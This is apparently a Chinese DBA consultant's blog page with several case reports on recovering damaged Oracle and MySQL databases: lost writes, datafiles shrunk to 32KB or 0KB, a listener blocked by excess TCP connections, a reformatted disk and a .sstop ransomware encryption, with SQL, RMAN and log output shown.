ORA-00756 ORA-10567故障数据0丢失恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:ORA-00756 ORA-10567故障数据0丢失恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

客户虚拟化故障修复之后,数据库启动报ORA-600 kcratr_scan_lastbwr错误
kcratr_scan_lastbwr


这个是一个比较常见的错误,一般recover 下就ok了,但是有些时候会出现ORA-600 3020或者类似ORA-00756 ORA-10567的错误,比如这次不幸就遇到了该错误

SQL> recover database;
ORA-00283: recovery session canceled due to errors
ORA-00756: recovery detected a lost write of a data block
ORA-10567: Redo is inconsistent with data block (file# 10, block# 4005760, file
offset is 2750414848 bytes)
ORA-10564: tablespace PACS55
ORA-01110: data file 10: '/u02/oradata/pacsdb/pacs55.4.dbf'
ORA-10561: block type 'TRANSACTION MANAGED INDEX BLOCK', data object# 76649

然后尝试单个文件recover恢复

SQL> recover datafile 10;
ORA-00283: recovery session canceled due to errors
ORA-00756: recovery detected a lost write of a data block
ORA-10567: Redo is inconsistent with data block (file# 10, block# 4005760, file
offset is 2750414848 bytes)
ORA-10564: tablespace PACS55
ORA-01110: data file 10: '/u02/oradata/pacsdb/pacs55.4.dbf'
ORA-10561: block type 'TRANSACTION MANAGED INDEX BLOCK', data object# 76649

SQL> recover datafile 9;
ORA-00283: recovery session canceled due to errors
ORA-00756: recovery detected a lost write of a data block
ORA-10567: Redo is inconsistent with data block (file# 9, block# 4158754, file
offset is 4003741696 bytes)
ORA-10564: tablespace PACS55
ORA-01110: data file 9: '/u02/oradata/pacsdb/pacs55.3.dbf'
ORA-10561: block type 'TRANSACTION MANAGED INDEX BLOCK', data object# 76660

通过dbv检查这两个异常文件

[oracle@oradb ~]$ dbv file=/u02/oradata/pacsdb/pacs55.3.dbf

DBVERIFY: Release 19.0.0.0.0 - Production on Sat Jun 28 23:02:15 2025

Copyright (c) 1982, 2019, Oracle and/or its affiliates.  All rights reserved.

DBVERIFY - Verification starting : FILE = /u02/oradata/pacsdb/pacs55.3.dbf


DBVERIFY - Verification complete

Total Pages Examined         : 4194302
Total Pages Processed (Data) : 2482487
Total Pages Failing   (Data) : 0
Total Pages Processed (Index): 1655515
Total Pages Failing   (Index): 0
Total Pages Processed (Lob)  : 25017
Total Pages Failing   (Lob)  : 0
Total Pages Processed (Other): 15919
Total Pages Processed (Seg)  : 0
Total Pages Failing   (Seg)  : 0
Total Pages Empty            : 15364
Total Pages Marked Corrupt   : 0
Total Pages Influx           : 0
Total Pages Encrypted        : 0
Highest block SCN            : 311133131196 (72.1895485884)
[oracle@oradb ~]$ dbv file=/u02/oradata/pacsdb/pacs55.4.dbf 

DBVERIFY: Release 19.0.0.0.0 - Production on Sat Jun 28 23:04:59 2025

Copyright (c) 1982, 2019, Oracle and/or its affiliates.  All rights reserved.

DBVERIFY - Verification starting : FILE = /u02/oradata/pacsdb/pacs55.4.dbf


DBVERIFY - Verification complete

Total Pages Examined         : 4194302
Total Pages Processed (Data) : 2466409
Total Pages Failing   (Data) : 0
Total Pages Processed (Index): 1683244
Total Pages Failing   (Index): 0
Total Pages Processed (Lob)  : 16977
Total Pages Failing   (Lob)  : 0
Total Pages Processed (Other): 15909
Total Pages Processed (Seg)  : 0
Total Pages Failing   (Seg)  : 0
Total Pages Empty            : 11763
Total Pages Marked Corrupt   : 0
Total Pages Influx           : 0
Total Pages Encrypted        : 0
Highest block SCN            : 311133133727 (72.1895488415)

确定数据文件本身没有坏块,只是redo写丢失或者某种bug导致少量block应用redo的时候异常,而且报错是index,直接通过底层处理报错的block,让其这些报错的block直接不应用日志,然后完成recover操作,其他数据块数据不会丢失(最大限度减少损失,而不是直接修改文件头scn,或者强制拉库的方式来处理)

SQL> select file#,fuzzy from v$datafile_header;

     FILE# FUZ
---------- ---
	 1 NO
	 2 NO
	 3 NO
	 4 NO
	 5 NO
	 7 NO
	 8 NO
	 9 YES
	10 YES
	11 NO
	12 NO

     FILE# FUZ
---------- ---
	13 NO
	14 NO
	15 NO
	16 NO
	17 NO
	18 NO
	19 NO

18 rows selected.

SQL> recover  datafile 9 ;
Media recovery complete.
SQL> recover  datafile 10 ;
ORA-00283: recovery session canceled due to errors
ORA-00756: recovery detected a lost write of a data block
ORA-10567: Redo is inconsistent with data block (file# 10, block# 3822912, file
offset is 1252524032 bytes)
ORA-10564: tablespace PACS55
ORA-01110: data file 10: '/u02/oradata/pacsdb/pacs55.4.dbf'
ORA-10561: block type 'TRANSACTION MANAGED INDEX BLOCK', data object# 76649
 
SQL> recover  datafile 10;
Media recovery complete.

正常open数据库成功,并rebuild 异常的对象

SQL> alter database open;

Database altered.

SQL> select owner,object_name,object_type from dba_objects where data_object_id in(76649,76660);

OWNER
--------------------------------------------------------------------------------
OBJECT_NAME
--------------------------------------------------------------------------------
OBJECT_TYPE
-----------------------
PACS55
STUDYINFO_DIAGRPTID
INDEX

PACS55
PACS_STUDYINFO_PK
INDEX

OWNER
--------------------------------------------------------------------------------
OBJECT_NAME
--------------------------------------------------------------------------------
OBJECT_TYPE
-----------------------


SQL> alter index PACS55.STUDYINFO_DIAGRPTID rebuild online parallel 4;

Index altered.

SQL> alter index PACS55.PACS_STUDYINFO_PK rebuild online parallel 4;

Index altered.

SQL> 
SQL> 
SQL> 
SQL> alter index PACS55.STUDYINFO_DIAGRPTID noparallel;
alter index PACS55.PACS_STUDYINFO_PK noparallel;
Index altered.

SQL> 

Index altered.

至此该库完美恢复业务可以直接使用,业务数据0丢失.这次运气比较好,如果是表数据异常,可能会麻烦一点,但是也可以最大限度恢复(肯定比强制拉库,或者修改文件头的方式效果好)

数据库文件变成32k故障恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:数据库文件变成32k故障恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

最近一个客户数据库重启系统之后,数据文件大小变为了32kb,我接手的不是第一现场(客户那边尝试了rman还原操作),查看alert日志,数据库最初报错

Wed Jun 18 13:09:23 2025
alter database open
Block change tracking file is current.
Read of datafile 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.DBF' (fno 14) header failed with ORA-01210
Hex dump of (file 14, block 1) in trace file d:\app\administrator\diag\rdbms\ORCL\ORCL\trace\ORCL_ora_11208.trc
Corrupt block relative dba: 0x03800001 (file 14, block 1)
Completely zero block found during datafile header read
Rereading datafile 14 header failed with ORA-01210
Hex dump of (file 14, block 1) in trace file d:\app\administrator\diag\rdbms\ORCL\ORCL\trace\ORCL_ora_11208.trc
Corrupt block relative dba: 0x03800001 (file 14, block 1)
Completely zero block found during datafile header read
Errors in file d:\app\administrator\diag\rdbms\ORCL\ORCL\trace\ORCL_ora_11208.trc:
ORA-01122: 数据库文件 14 验证失败
ORA-01110: 数据文件 14: 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.DBF'
ORA-01210: 数据文件标头发生介质损坏
ORA-1122 signalled during: alter database open...
Wed Jun 18 13:09:23 2025
Checker run found 1 new persistent data failures

客户那边不知道做了什么操作之后报错(初步估计是把14号文件重命名了)

Thu Jun 19 16:04:19 2025
alter database open
Thu Jun 19 16:04:21 2025
Errors in file d:\app\administrator\diag\rdbms\ORCL\ORCL\trace\ORCL_dbw0_13000.trc:
ORA-01157: ????/?????? 14 - ??? DBWR ????
ORA-01110: ???? 14: 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.DBF'
ORA-27041: ??????
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件。
Errors in file d:\app\administrator\diag\rdbms\ORCL\ORCL\trace\ORCL_ora_12328.trc:
ORA-03113: 通信通道的文件结尾
ORA-3113 signalled during: alter database open...

根据客户反馈14号文件变成了32kb,就是被重命名的.bak文件
32k


这其中有一个bak0618是通过rman还原出来的(备份中无有效的14号文件备份,还原出来的为该文件初始化创建大小)

Thu Jul 07 16:57:05 2022
alter tablespace wasion add datafile 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.dbf' size 10g autoextend on
Completed: alter tablespace wasion add datafile 'D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.dbf' size 10g autoextend on

2025-06-26_101717_568


基于当前情况,可以确认该文件异常,而且没有有效的rman备份.通过分析备份脚本,发现每个备份集1个数据文件,而且没有压缩,并按照10g进行分割为多个文件
QQ20250626-095824

这些本身没有问题,脚本的后面有直接通过系统级别命令删除两天之前的备份文件
QQ20250626-100105

这里有一个问题,由于磁盘空间不足,导致部分备份不成功,但是系统级别删除操作依旧正常进行,导致以前有效的备份被删除,后面的备份又没有成功(这个是本次该文件无法还原的主要原因),慎重提醒,rman备份尽量使用rman本身的策略来管理不要使用系统命令来维护备份策略,基于这样的情况,可以使用反删除命令找出来了一些该文件的备份集,并注册到控制文件中

RMAN> list backup of datafile 14;


备份集列表
===================


BS 关键字  类型 LV 大小       设备类型 经过时间 完成时间
------- ---- -- ---------- ----------- ------------ ----------
35251   Incr 0  10.89G     DISK        00:01:20     15-6月 -25
  备份集 35251 中的数据文件列表
  文件 LV 类型 Ckp SCN    Ckp 时间   名称
  ---- -- ---- ---------- ---------- ----
  14   0  Incr 758850903  15-6月 -25 D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.DBF

  备份集 副本号 2 属于备份集 35251
  设备类型 经过时间 完成时间   压缩标记
  ----------- ------------ ---------- ---------- ---
  DISK        00:01:20     26-6月 -25 NO         TAG20250615T220003

    备份集 35251 副本号 2的备份片段列表
    BP 关键字  Pc# 状态      段名称
    ------- --- ----------- ----------
    78307   1   AVAILABLE   H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1
    78308   2   AVAILABLE   H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_2_1

BS 关键字  类型 LV 大小       设备类型 经过时间 完成时间
------- ---- -- ---------- ----------- ------------ ----------
35266   Incr 0  1.81G      DISK        00:00:00     17-6月 -25
  备份集 35266 中的数据文件列表
  文件 LV 类型 Ckp SCN    Ckp 时间   名称
  ---- -- ---- ---------- ---------- ----
  14      Full 759283192  17-6月 -25 D:\APP\ADMINISTRATOR\ORADATA\ORCL\WASION08.DBF

  备份集 副本号 1 属于备份集 35266
  设备类型 经过时间 完成时间   压缩标记
  ----------- ------------ ---------- ---------- ---
  DISK        00:00:00     26-6月 -25 NO         TAG20250617T220049

    备份集 35266 副本号 1的备份片段列表
    BP 关键字  Pc# 状态      段名称
    ------- --- ----------- ----------
            1   DELETED                        <---缺少一个备份集文件
    78309   2   AVAILABLE   H:\BAIDUNETDISK\202506191452\L0_ORCL_20250617_79022_5E3S94MC_2_1

尝试rman还原这些备份文件

RMAN> run
2> {
3> SET NEWNAME FOR DATAFILE 14 to 'H:\BaiduNetdisk\202506191452\14.dbf';
4> restore datafile 14;
5> }

正在执行命令: SET NEWNAME

启动 restore 于 26-6月 -25
使用通道 ORA_DISK_1

通道 ORA_DISK_1: 正在开始还原数据文件备份集
通道 ORA_DISK_1: 正在指定从备份集还原的数据文件
通道 ORA_DISK_1: 将数据文件 00014 还原到 H:\BAIDUNETDISK\202506191452\14.DBF
通道 ORA_DISK_1: 正在还原段 1 (属于 2)
通道 ORA_DISK_1: 正在读取备份片段 H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1
RMAN-00571: ===========================================================
RMAN-00569: =============== ERROR MESSAGE STACK FOLLOWS ===============
RMAN-00571: ===========================================================
RMAN-03002: restore 命令 (在 06/26/2025 08:35:53 上) 失败
ORA-19870: 还原备份片段 H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1 时出错
ORA-00600: 内部错误代码, 参数: [krbvalmrange_badfno], [1], [14], [], [], [], [], [], [], [], [], []

alert日志报错

Thu Jun 26 08:25:26 2025
Checker run found 39 new persistent data failures
Thu Jun 26 08:35:51 2025
Datafile rdba reconstruction error, expected block greater than 804966, got 322047 for datafile 14
Corrupt block 804352 found during reading backup piece, 
file=H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1, corr_type=4
Reread of blocknum=804352, file=H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1. found valid data
Datafile rdba reconstruction error, expected block greater than 324095, got 55516 for datafile 14
Corrupt block 806400 found during reading backup piece, 
file=H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1, corr_type=4
Reread of blocknum=806400, file=H:\BAIDUNETDISK\202506191452\L0_ORCL_20250615_78847_VV3S3RQP_1_1. found valid data
Errors in file C:\APP\XFF\diag\rdbms\ORCL\orcl\trace\orcl_ora_19208.trc  (incident=177):
ORA-00600: 内部错误代码, 参数: [krbvalmrange_badfno], [1], [14], [], [], [], [], [], [], [], [], []
Incident details in: C:\APP\XFF\diag\rdbms\ORCL\orcl\incident\incdir_177\orcl_ora_19208_i177.trc
Use ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Thu Jun 26 08:35:52 2025

后面通过工具分析以及ORA-600 krbvalmrange_badfno的错误,基本上可以确认在反删除恢复的备份集文件中部分rman的block是其他数据文件的,从而导致无法正常还原.基于这种情况,通过工具进行强制还原出来部分14号数据文件的block
QQ20250626-101208


然后再通过磁盘级别碎片,找到部分没有覆盖的block
suip

把rman备份中强制抽取的部分block和底层碎片恢复的没有覆盖的block组合到一起,通过检测确认恢复了大概2/3的数据
QQ20250626-101601

基于恢复的该文件和这个表空间的其他文件一起,使用dul工具把数据恢复到新库中,最大限度完成本次数据的抢救工作.

本次故障本不该发生,或者说发生不该如此严重:
1. rman备份采用系统级别维护策略,在备份没有成功的情况下依旧通过系统层面删除文件,导致故障文件无一份有效备份
2. 发生故障之后,没有保护现场的意识:对于32kb的数据文件所在磁盘进行了大量的写入操作(近1T的数据文件直接在本盘做了一次拷贝,还有rman默认写入到了以前文件所在位置)

tcp连接过多导致监听TNS-12532 TNS-12560 TNS-00502错误

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:tcp连接过多导致监听TNS-12532 TNS-12560 TNS-00502错误

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

数据库监听启动报TNS-12532、TNS-12560、TNS-00502错误,无法正常启动

C:\Users\Administrator>lsnrctl start

LSNRCTL for 32-bit Windows: Version 11.2.0.1.0 - Production on 20-6月 -2025 22:5
6:40

Copyright (c) 1991, 2010, Oracle.  All rights reserved.

启动tnslsnr: 请稍候...

TNSLSNR for 32-bit Windows: Version 11.2.0.1.0 - Production
写入e:\app\administrator\diag\tnslsnr\WIN-3D3QHVQUU65\listener\alert\log.xml的日志信息
监听该对象时出错: (ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PARTIAL=yes)(QUEUESIZE=1))
不再监听: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=WIN-3D3QHVQUU65)(PORT=1521))
)
TNS-12532: TNS: 无效的参数
 TNS-12560: TNS: 协议适配器错误
  TNS-00502: 参数无效
   32-bit Windows Error: 22: Invalid argument

监听程序未能启动。请参阅上面的错误消息...

TNS-12560: TNS: 协议适配器错误
 TNS-00530: 协议适配器错误
  32-bit Windows Error: 55: Unknown error

尝试重建监听提示端口占用,对于这种情况,第一反应可能是数据库服务器的一些tcp链接异常.通过netstat -nao查看发现8080端口的应用占用TCP链接太多
QQ20250621-110610


820

通过分析发现该tcp链接已经达到7w多个,怀疑是该问题导致监听异常,重启应用释放这些连接之后,数据库监听恢复正常.

文件系统格式化MySQL数据库恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:文件系统格式化MySQL数据库恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

有客户在做迁移的时候,不慎把存放mysql数据库的硬盘进行了重新分区格式化,重新初始化mysql,并且导入了部分历史数据,不能满足客户需求,希望我们帮忙进行数据恢复.里面大概有100套左右mysql数据库,每个库里面表结构相同,数据不一样.接手这个故障,第一操作就是对磁盘进行镜像,然后使用恢复工具进行底层分析,尝试从文件系统层面恢复出来被格式化之前的数据库文件(需要有对应库目录,不然也没有意义,因为每个库里面表结构一样的,没有正确的库名字无法做到有效的区分),通过底层扫描分析,没有发现一个有效数据文件
QQ20250618-232447


对于这样的情况,只能寄希望于mysql 数据块层面扫描恢复,通过工具扫描发现大量的数据块page文件
block-page

然后尝试分析字典信息,主要是对于0000000000000001.page对应的表创建语句为:

CREATE TABLE `SYS_TABLES` (
  `NAME` varchar(255) NOT NULL DEFAULT '',
  `ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `N_COLS` int(10) DEFAULT NULL,
  `TYPE` int(10) unsigned DEFAULT NULL,
  `MIX_ID` bigint(20) unsigned DEFAULT NULL,
  `MIX_LEN` int(10) unsigned DEFAULT NULL,
  `CLUSTER_NAME` varchar(255) DEFAULT NULL,
  `SPACE` int(10) unsigned DEFAULT NULL,
  PRIMARY KEY (`NAME`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

通过上述信息可以获取到name和id列的值(其中name中包含库名/表名),然后再通过0000000000000003.page文件结合对应的表创建语句:

CREATE TABLE `SYS_INDEXES` (
  `TABLE_ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `ID` bigint(20) unsigned NOT NULL DEFAULT '0',
  `NAME` varchar(120) DEFAULT NULL,
  `N_FIELDS` int(10) unsigned DEFAULT NULL,
  `TYPE` int(10) unsigned DEFAULT NULL,
  `SPACE` int(10) unsigned DEFAULT NULL,
  `PAGE_NO` int(10) unsigned DEFAULT NULL,
  PRIMARY KEY (`TABLE_ID`,`ID`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

这个主要是或者表id和page id的对应关系(表id直接关联SYS_TABLES.ID,然后获取SYS_TABLES.NAME和SYS_INDEXES.ID对应关系,从而可以确定每一个表对应的需要恢复的page文件信息,再通过客户提供的表语句和对应的page关系,实现相关数据恢复,具体操作可以参考以往类似文章:
xfs文件系统mysql删库恢复
又一起mysql rm删除数据库目录事故
[MySQL异常恢复]恢复数据字典表讲解
[MySQL异常恢复]mysql drop table 数据恢复
mysql ibd文件反删除恢复之后异常处理
[MySQL异常恢复]使用工具直接抽取MySQL数据字典
MySQL drop database恢复(恢复方法同样适用MySQL drop table,delete,truncate table)

.sstop勒索加密数据库恢复

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:.sstop勒索加密数据库恢复

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

数据库文件被加密,扩展名类似:.[[dataserver@airmail.cc]].sstop,通过工具进行坏块检测确认破坏数据文件三段,每段8个block
20250616224350
根据经验可以确认,数据文件前面8个block肯定没有业务数据(主要是文件头信息和位图信息),可以使用Oracle数据文件勒索加密恢复工具对其文件头进行构造
QQ20250616-150830


尝试open数据库,在open过程中遭遇多次ORA-01555错误,参考以前类似文章:
在数据库open过程中常遇到ORA-01555汇总
数据库open过程遭遇ORA-1555对应sql语句补充
Oracle Recovery Tools恢复—ORA-00704 ORA-01555故障

SQL> alter database open resetlogs;
alter database open resetlogs
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00604: error occurred at recursive SQL level 2
ORA-01555: snapshot too old: rollback segment number 0 with name "SYSTEM" too
small
Process ID: 23720
Session ID: 243 Serial number: 13


SQL> alter database Open;
alter database Open
*
ERROR at line 1:
ORA-01092: ORACLE instance terminated. Disconnection forced
ORA-00704: bootstrap process failure
ORA-00704: bootstrap process failure
ORA-00604: error occurred at recursive SQL level 1
ORA-01555: snapshot too old: rollback segment number 5 with name
"_SYSSMU5_2520346804$" too small
Process ID: 26636
Session ID: 232 Serial number: 1

QQ20250616-224635


然后使用expdp导出业务数据,完成本次恢复任务,原则上跳过中间坏块数据之外,没有业务数据丢失
对于类似这种被加密的勒索的数据库(oracle,mysql,sql server)等被加密,需要专业恢复技术支持,请联系我们:
电话/微信:17813235971    Q Q:107644445QQ咨询惜分飞    E-Mail:dba@xifenfei.com
系统安全防护措施建议:
1.多台机器,不要使用相同的账号和口令
2.登录口令要有足够的长度和复杂性,并定期更换登录口令
3.重要资料的共享文件夹应设置访问权限控制,并进行定期备份
4.定期检测系统和软件中的安全漏洞,及时打上补丁。
5.定期到服务器检查是否存在异常。
6.安装安全防护软件,并确保其正常运行。
7.从正规渠道下载安装软件。
8.对不熟悉的软件,如果已经被杀毒软件拦截查杀,不要添加信任继续运行。
9.保存良好的备份习惯,尽量做到每日备份,异地备份。

解决一次硬件恢复之后数据文件0kb的故障恢复case

联系:手机/微信(+86 17813235971) QQ(107644445)QQ咨询惜分飞

标题:解决一次硬件恢复之后数据文件0kb的故障恢复case

作者:惜分飞©版权所有[未经本人同意,不得以任何形式转载,否则有进一步追究法律责任的权利.]

客户一个比较久远系统,由于长期没有人维护,导致硬件故障,客户找人进行了硬件恢复之后,发现大量数据文件为0kb
0kb


客户这个系统是17年上线,19年进行了一次升级,提出要求,只要能够恢复到19年升级之后的系统状态即可(因为是制造业系统,大量配置信息在里,至于后续产生的数据,无所谓),基于目前的数据文件情况,肯定无法恢复出来(因为字典数据在system01.dbf中)
基于这种情况,我这边在客户恢复的整个目录文件中,再三查找,发现了一个类似rman备份的文件(是21年的),对其进行还原尝试
QQ20250615-134144

在还原过程中发现大量坏块,没有办法,最后只能采用一些方法强制rman还原出来备份中的部分文件

Corrupt block 653695 found during reading backup piece, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, corr_type=-2
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=653695, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Continuing reading piece H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, no other copies available.
Fri Jun 06 14:23:26 2025
Cannot read block 1 from S:\DBFILES\BACKUP\ORA_DF1080446471_S8590_S1 - 
   restore failover to read from H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1
ORA-19505: 无法识别文件"S:\DBFILES\BACKUP\ORA_DF1080446471_S8590_S1"
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Full restore complete of datafile 2 to datafile copy H:\BAIDUNETDISK\BACKUP\BACKUP\2_SYSAUX01.DBF.Elapsed time: 0:00:04
  checkpoint is 16694678523790
Full restore complete of datafile 1 to datafile copy H:\BAIDUNETDISK\BACKUP\BACKUP\1_SYSTEM01.DBF.Elapsed time: 0:00:05
  checkpoint is 16694678523790
  Undo Optimization current scn is 16694646809619
Fri Jun 06 14:23:47 2025
Datafile rdba reconstruction error, expected block greater than 3305201, got 3304960 for datafile 4
Corrupt block 3746806 found during reading backup piece, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, corr_type=4
Datafile tail reconstruction error, expected tail of 0, got -1601108480 for datafile 4
………………
Corrupt block 4290319 found during reading backup piece, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, corr_type=-2
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Reread of blocknum=4290319, file=H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, found same corrupt data
Continuing reading piece H:\BAIDUNETDISK\ORA_DF1080446471_S8590_S1, no other copies available.
Fri Jun 06 16:01:21 2025
Hex dump of (file 4, block 1) in trace file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_15808.trc
Corrupt block relative dba: 0x01000001 (file 4, block 1)
Bad check value found during deleting datafile copy
Data in bad block:
 type: 0 format: 2 rdba: 0x01000001
 last change scn: 0x0000.00000000 seq: 0x1 flg: 0x05
 spare1: 0x0 spare2: 0x0 spare3: 0x0
 consistency value in tail: 0x00000001
 check value in block header: 0x0
 computed block checksum: 0xa601
Reread of blocknum=1, file=H:\BAIDUNETDISK\BACKUP\BACKUP\4_USERS01.DBF. found valid data
Switch of datafile 4 complete to datafile copy 
  checkpoint is 16126

很明显还原出来的system/sysaux文件可能还可以使用,但是users01.dbf肯定不行(从checkpoint is SCN)可以判断出来(users01.dbf是初始化出来的),基于这种情况,利用当前的system和sysaux打开数据库

Fri Jun 13 22:05:31 2025
Media Recovery failed with error 1610
Fri Jun 13 22:05:31 2025
Signalling error 1152 for datafile 1!
Signalling error 1152 for datafile 2!
Signalling error 1152 for datafile 3!
Signalling error 1152 for datafile 4!
Checker run found 5 new persistent data failures
Recovery Slave PR00 previously exited with exception 283
ORA-283 signalled during: ALTER DATABASE RECOVER  database until cancel  ...
Fri Jun 13 22:05:49 2025
ALTER DATABASE RECOVER  database using backup controlfile  
Media Recovery Start
 started logmerger process
Parallel Media Recovery started with 20 slaves
Fri Jun 13 22:05:49 2025
Warning: Datafile 3 (H:\BAIDUNETDISK\BACKUP\BACKUP\3_UNDOTBS01.DBF) is 
offline during full database recovery and will not be recovered
ORA-279 signalled during: ALTER DATABASE RECOVER  database using backup controlfile
ALTER DATABASE RECOVER    CANCEL  
Media Recovery Canceled
Completed: ALTER DATABASE RECOVER    CANCEL  
Fri Jun 13 22:06:04 2025
alter database open resetlogs
RESETLOGS is being done without consistancy checks. This may result
in a corrupted database. The database should be recreated.
RESETLOGS after incomplete recovery UNTIL CHANGE 16694678523790
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 3 (用于线程 1) 的成员
ORA-00312: 联机日志 3 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO03.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 1 H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG
Clearing online log 1 of thread 1 sequence number 33772
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 1 (用于线程 1) 的成员
ORA-00312: 联机日志 1 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO01.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 1 complete
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Clearing online redo logfile 2 H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG
Clearing online log 2 of thread 1 sequence number 33773
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'H:\BAIDUNETDISK\BACKUP\BACKUP\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 2) 系统找不到指定的文件
Errors in file C:\APP\XFF\diag\rdbms\orcl\orcl\trace\orcl_ora_5812.trc:
